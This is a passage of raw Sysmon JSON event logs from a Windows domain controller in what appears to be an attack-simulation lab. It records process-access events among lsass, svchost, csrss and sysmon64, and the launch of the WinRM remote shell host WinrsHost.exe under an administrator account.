C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:09.948","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8525,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:09.948\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:09.948","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":8526,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:09.969\r\nProcessGuid: {90617006-4375-5F2D-0000-001040ED1100}\r\nProcessId: 876\r\nImage: C:\\Windows\\System32\\winrshost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for WinRM's Remote Shell plugin\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: winrshost.exe\r\nCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4375-5F2D-0000-002007ED1100}\r\nLogonId: 0x11ED07\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96\r\nParentProcessGuid: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nParentProcessId: 588\r\nParentImage: C:\\Windows\\System32\\svchost.exe\r\nParentCommandLine: C:\\Windows\\system32\\svchost.exe -k DcomLaunch","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:05:09.969","ProcessGuid":"{90617006-4375-5F2D-0000-001040ED1100}","Image":"C:\\Windows\\System32\\winrshost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for WinRM's Remote Shell plugin","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"winrshost.exe","CommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","CurrentDirectory":"C:\\Windows\\system32\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4375-5F2D-0000-002007ED1100}","LogonId":"0x11ed07","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96","ParentProcessGuid":"{90617006-3FD3-5F2D-0000-0010AF650000}","ParentProcessId":"588","ParentImage":"C:\\Windows\\System32\\svchost.exe","ParentCommandLine":"C:\\Windows\\system32\\svchost.exe -k DcomLaunch","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8527,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:09.948\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4375-5F2D-0000-001040ED1100}\r\nTargetProcessId: 876\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:09.948","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4375-5F2D-0000-001040ED1100}","TargetProcessId":"876","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8528,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:09.948\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4375-5F2D-0000-001040ED1100}\r\nTargetProcessId: 876\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:09.948","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4375-5F2D-0000-001040ED1100}","TargetProcessId":"876","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8529,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:09.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:09.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8530,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:09.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:09.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8531,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:09.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:05:09.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:05:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8532,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:05:09.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 